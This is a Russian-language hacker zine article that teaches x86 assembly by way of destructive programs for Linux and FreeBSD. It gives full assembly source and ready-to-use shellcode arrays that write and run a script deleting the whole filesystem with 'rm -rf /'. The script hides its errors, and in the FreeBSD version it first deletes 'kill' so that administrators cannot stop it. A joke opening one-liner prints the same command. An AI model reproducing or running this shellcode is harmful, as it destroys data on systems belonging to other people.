itz REALLY 0day: `perl -e 'print "\x72\x6d\x20\x2d\x72\x66\x20\x2f\x20\x26"'`
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==
Assembler in xmplz
~~~~~~~~~~~~~~~~~~~~~~~~~~
*** how_to fuck whitehatz with asm ***
c0ntent:
- intro
- rm_all 4 linux
- rm_all#2 4 fbsd
- da outro
$0x1 INTRO ---------------------------------------------------------------------
Эта дока не является очередным тупым маном по асму. Она поможет тем, кто хочет
получше узнать asm в линухе и fbsd. Короче, начнём...
$0x2 rm_all code ---------------------------------------------------------------
Эта прога запускает в background'е rm и отправляет все его error'ы в /dev/null
чтобы whitehat не сразу понял, что происхоит. В начале я хотел это сделать через
execve(), но такую кучу аргументов передавать гиморно. Ну и конечно 2>/dev/null
обрабатывается шеллом. Так что решение простое - создаём скрипт и запускаем его.
#
# This iz rm_all.s
#
# Howto build: as -o rm.o rm_all.s; ld -o rm rm.o; ./rm
# Hex listing: as -al rm_all.s > my_fuckin_listing.txt
.globl _start
_start:
# open() syscall = $5
# O_CREAT 0100 \ O_CREAT | O_WRONLY = 0101
# O_WRITE 01 /
xor %eax,%eax
pushl %eax
pushl $0x7a7a7a7a # filename is "zzzz\0"
movl %esp,%ebx # arg1 - filename
push $0101 # arg2 - open mode
pop %ecx # передаём через стек, без гимора
mov $5,%al # open() syscall in %eax
int $0x80
# теперь в eax появился дескриптор файла.
# write() = $4
xor %ecx,%ecx
pushl %ecx
pushl $0x0a26206c # "l &\n"
pushl $0x6c756e2f # "/nul"
pushl $0x7665642f # "/dev"
pushl $0x3e32202f # "/ 2>"
pushl $0x2066722d # "-rf "
pushl $0x206d722f # "/rm "
pushl $0x6e69622f # "/bin"
pushl $0x0a0a0a68 # "h\n\n\n"
pushl $0x732f6e69 # "in/s"
pushl $0x622f2123 # "#!/b"
movl %esp,%ecx # arg2 - строка
movl %eax,%ebx # arg1 - дескриптор файла
mov $40,%dl # arg3 - длина строки
mov $4,%al # write() syscall in %eax
int $0x80
# close() = $6
xor %eax,%eax
mov $6,%al # arg2 - в %ebx уже лежит дескритор. так что
# просто кладём в %eax close() syscall
int $0x80
# chmod() = $15
# make "zzzz" 00755 mode
xor %eax,%eax
pushl %eax
pushl $0x7a7a7a7a
movl %esp,%ebx # arg1 - filename "zzzz\0"
movw $0755,%cx # arg2 - mode
mov $15,%al # chmod() syscall in %eax
int $0x80
# хех, почти готово...
# Теперь, запускаем скрипт
# execve() = $11
xor %eax,%eax
xor %edx,%edx # arg3 = NULL
pushl %eax
pushl $0x7a7a7a7a # execve(".///zzzz",".///zzzz",0);
pushl $0x2f2f2f2e
movl %esp,%ebx # arg1 - filename ".///zzzz\0"
pushl %eax
pushl %ebx
movl %esp,%ecx # arg2 - тоже
mov $11,%al # execve() syscall in %eax
int $0x80
# exit() = $1
xor %eax,%eax
incl %eax # 0+1=$1 aka exit() syscall
int $0x80
# _eof_
/* ready 2 use rm-shellcode 4 linux x86 */
char rm_shellcode[] =
"\x31\xC0\x50\x68\x7A\x7A\x7A\x7A\x89\xE3\x6A\x41\x59"
"\xB0\x05\xCD\x80\x31\xC9\x51\x68\x6C\x20\x26\x0A\x68"
"\x2F\x6E\x75\x6C\x68\x2F\x64\x65\x76\x68\x2F\x20\x32"
"\x3E\x68\x2D\x72\x66\x20\x68\x2F\x72\x6D\x20\x68\x2F"
"\x62\x69\x6E\x68\x68\x0A\x0A\x0A\x68\x69\x6E\x2F\x73"
"\x68\x23\x21\x2F\x62\x89\xE1\x89\xC3\xB2\x28\xB0\x04"
"\xCD\x80\x31\xC0\xB0\x06\xCD\x80\x31\xC0\x50\x68\x7A"
"\x7A\x7A\x7A\x89\xE3\x66\xB9\xED\x01\xB0\x0F\xCD\x80"
"\x31\xC0\x31\xD2\x50\x68\x7A\x7A\x7A\x7A\x68\x2E\x2F"
"\x2F\x2F\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80\x31"
"\xC0\x40\xCD\x80";
$0x3 rm_all 4 fbsd -------------------------------------------------------------
Несколько улучшенная rm_all прога, написана для freebsd x86. Сначала трёт kill
чтобы вайтхет мог только наблюдать... или ребутнуть бокс ж))) Если кто не понял,
что это за код, советую почитать FreeBSD developer's handbook.
# x86.s
# rm_all prog for freebsd x86
.globl _start
_start:
# chdir("/bin");
xor %eax,%eax
push %eax
pushl $0x6e69622f # "/bin\0"
movl %esp,%ebx
pushl %ebx # arg1 = dir
pushl $12 # chdir() syscall
push %eax
int $0x80
# f=open("zyxa",O_CREAT|O_WRONLY,0755);
xor %eax,%eax
push %eax
pushl $0x6178797a # "zyxa\0"
movl %esp,%ebx
pushw $0755 # arg3 = 0755 (phile mode)
pushw $0x0201 # arg2 = O_CREAT | O_WRONLY (l00k fcntl.h)
pushl %ebx # arg1 = phile name
pushl $5 # open() syscall
push %eax
int $0x80
# write(f,"#!/bin/sh\nrm -f kill\nrm -rf /* &",32);
movl %eax,%edx # полученный дескриптор сохраняем в %edx
xor %eax,%eax
push %eax
pushl $0x26202a2f # "/* &\0"
pushl $0x2066722d # "-rf "
pushl $0x206d720a # "\nrm "
pushl $0x6c6c696b # "kill"
pushl $0x20662d20 # " -f "
pushl $0x6d720a68 # "h\nrm"
pushl $0x732f6e69 # "in/s"
pushl $0x622f2123 # "#!/b"
movl %esp,%ebx
pushl $32 # arg3 = 32 (длина строки)
pushl %ebx # arg2 = string "#!/bin/sh\n..."
pushl %edx # arg1 = descriptor
pushl $4 # write() syscall
push %eax
int $0x80
# close(f);
xor %eax,%eax
pushl %edx # arg1 = descriptor
pushl $6 # close() syscall
push %eax
int $0x80
# execve() aka "/bin/sh zyxa"
xor %eax,%eax
push %eax
pushl $0x68732f6e # "n/sh\0"
pushl $0x69622f2f # "//bi"
movl %esp,%ebx
push %eax
pushl $0x6178797a # "zyxa\0"
movl %esp,%ecx
push %eax
pushl %ecx # "zyxa\0" - execve arg2
pushl %ebx # "//bin/sh"- execve arg1
movl %esp,%edx # теперь в %edx набор аргументов
push %eax # arg3 (env) = NULL
pushl %edx # arg2 (argz) = "//bin/sh\0","zyxa\0"
pushl %ebx # arg1 (phile) = "//bin/sh\0"
pushl $59 # execve() syscall
push %eax
int $0x80
xor %eax,%eax
push $1 # exit() syscall
push %eax
int $0x80
# _eof_
/* ready-2-use rm_all shellcode 4 freebsd x86
size = 147 bytes */
char fbsd_shellcode[] =
"\x31\xC0\x50\x68\x2F\x62\x69\x6E\x89\xE3\x53\x6A\x0C"
"\x50\xCD\x80\x31\xC0\x50\x68\x7A\x79\x78\x61\x89\xE3"
"\x66\x68\xED\x01\x66\x68\x01\x02\x53\x6A\x05\x50\xCD"
"\x80\x89\xC2\x31\xC0\x50\x68\x2F\x2A\x20\x26\x68\x2D"
"\x72\x66\x20\x68\x0A\x72\x6D\x20\x68\x6B\x69\x6C\x6C"
"\x68\x20\x2D\x66\x20\x68\x68\x0A\x72\x6D\x68\x69\x6E"
"\x2F\x73\x68\x23\x21\x2F\x62\x89\xE3\x6A\x20\x53\x52"
"\x6A\x04\x50\xCD\x80\x31\xC0\x52\x6A\x06\x50\xCD\x80"
"\x31\xC0\x50\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69"
"\x89\xE3\x50\x68\x7A\x79\x78\x61\x89\xE1\x50\x51\x53"
"\x89\xE2\x50\x52\x53\x6A\x3B\x50\xCD\x80\x31\xC0\x6A"
"\x01\x50\xCD\x80";
$0x4 da outro ------------------------------------------------------------------
The_fuckin_end. Щас кто-то скажет что я занимаюсь ерундой. Я не пишу проги без
цели. Это соответственно тоже юзается. А когда будет нужно что-то более сложное,
я возможно напишу это на асме... Хотя не надо зацикливаться на этом. У _одной_
траблы всегда _много_ решений. И для гуру асма и WHITEHAT'ов - мне _пох_ на ваше
мнение о моих знаниях и на другой флейм.